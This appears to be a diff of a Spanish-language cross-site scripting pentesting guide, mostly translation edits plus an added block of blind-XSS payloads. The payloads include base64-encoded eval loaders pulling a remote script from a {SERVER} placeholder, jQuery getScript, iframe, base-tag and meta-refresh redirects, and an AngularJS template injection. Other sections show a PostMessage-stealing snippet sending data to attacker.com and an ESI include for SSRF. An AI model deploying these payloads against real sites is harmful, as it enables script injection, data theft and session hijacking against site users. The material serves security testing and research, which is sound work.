 En otros navegadores, otros **`Content-Types`** pueden ser utilizados para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)

-### xml Content Type
+### Tipo de Contenido xml

 Si la página está devolviendo un tipo de contenido text/xml, es posible indicar un espacio de nombres y ejecutar JS arbitrario:
 ```xml
@ -1406,7 +1404,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-### Robo de mensajes PostMessage
+### Robando mensajes de PostMessage
 ```html
 <img src="https://attacker.com/?" id=message>
 <script>
@ -1473,6 +1471,31 @@ También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
 <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
 <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
+
+<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
+<!-- Image tag -->
+'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
+
+<!-- Input tag with autofocus -->
+'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
+
+<!-- In case jQuery is loaded, we can make use of the getScript method -->
+'"><script>$.getScript("{SERVER}/script.js")</script>
+
+<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
+javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
+
+<!-- Render an iframe to validate your injection point and receive a callback -->
+'"><iframe src="{SERVER}"></iframe>
+
+<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
+<base href="{SERVER}" />
+
+<!-- Make use of the meta-tag to initiate a redirect -->
+<meta http-equiv="refresh" content="0; url={SERVER}" />
+
+<!-- In case your target makes use of AngularJS -->
+{{constructor.constructor("import('{SERVER}/script.js')")()}}
 ```
 ### Regex - Acceso a Contenido Oculto

@ -1503,7 +1526,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

 ### XSS en Markdown

-¿Puedes inyectar código Markdown que será renderizado? ¡Quizás puedas obtener XSS! Verifica:
+¿Puedes inyectar código Markdown que será renderizado? ¡Quizás puedas obtener XSS! Revisa:

 {{#ref}}
 xss-in-markdown.md
@ -1511,7 +1534,7 @@ xss-in-markdown.md

 ### XSS a SSRF

-¿Tienes XSS en un **sitio que usa caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con esta carga útil:
+¿Tienes XSS en un **sitio que usa caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con este payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
@ -1606,5 +1629,6 @@ other-js-tricks.md
 - [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
 - [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
 - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
+- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)

 {{#include ../../banners/hacktricks-training.md}}